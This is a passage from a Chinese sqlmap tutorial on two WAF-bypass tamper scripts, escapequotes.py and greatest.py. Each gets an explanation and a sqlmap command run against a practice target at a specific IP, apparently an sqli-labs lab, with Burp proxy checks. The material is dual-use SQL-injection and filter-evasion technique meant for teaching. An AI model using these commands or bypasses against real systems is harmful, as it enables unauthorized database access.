16. escapequotes.py脚本

将单引号转换成\', 双引号就转换成\\" ,一般这种情况是用于过滤了单引号或者是双引号的情况下,适用于所有数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="escapequotes.py" --proxy="http://127.0.0.1:8080" -batch

sqlmap从入门到精通-第七章-7-8 绕过WAF脚本-escapequotes.py&greatest.py_数据库

 发现并没有注入成功,尝试看看brup的抓包情况

sqlmap从入门到精通-第七章-7-8 绕过WAF脚本-escapequotes.py&greatest.py_双引号_02

 发现是针对单引号成功加入了反斜杠sqlmap从入门到精通-第七章-7-8 绕过WAF脚本-escapequotes.py&greatest.py_单引号_03

 -----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

17. greatest.py脚本

使用GREATEST函数替换大于号">" ,比如:"1 and bmfx > bmfxx" 替换为"1 and greatest(bmfx,bmfxx+1)=bmfx" 适用于所有数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="greatest.py" --proxy="http://127.0.0.1:8080" -batch

sqlmap从入门到精通-第七章-7-8 绕过WAF脚本-escapequotes.py&greatest.py_双引号_04

sqlmap从入门到精通-第七章-7-8 绕过WAF脚本-escapequotes.py&greatest.py_数据库_05

 发现这个绕过参数是可以注入的

sqlmap从入门到精通-第七章-7-8 绕过WAF脚本-escapequotes.py&greatest.py_数据库_06

sqlmap从入门到精通-第七章-7-8 绕过WAF脚本-escapequotes.py&greatest.py_双引号_07

看上去并没有在注入的过程中使用,但大意已经表述清楚了。

 

迷茫的人生,需要不断努力,才能看清远方模糊的志向!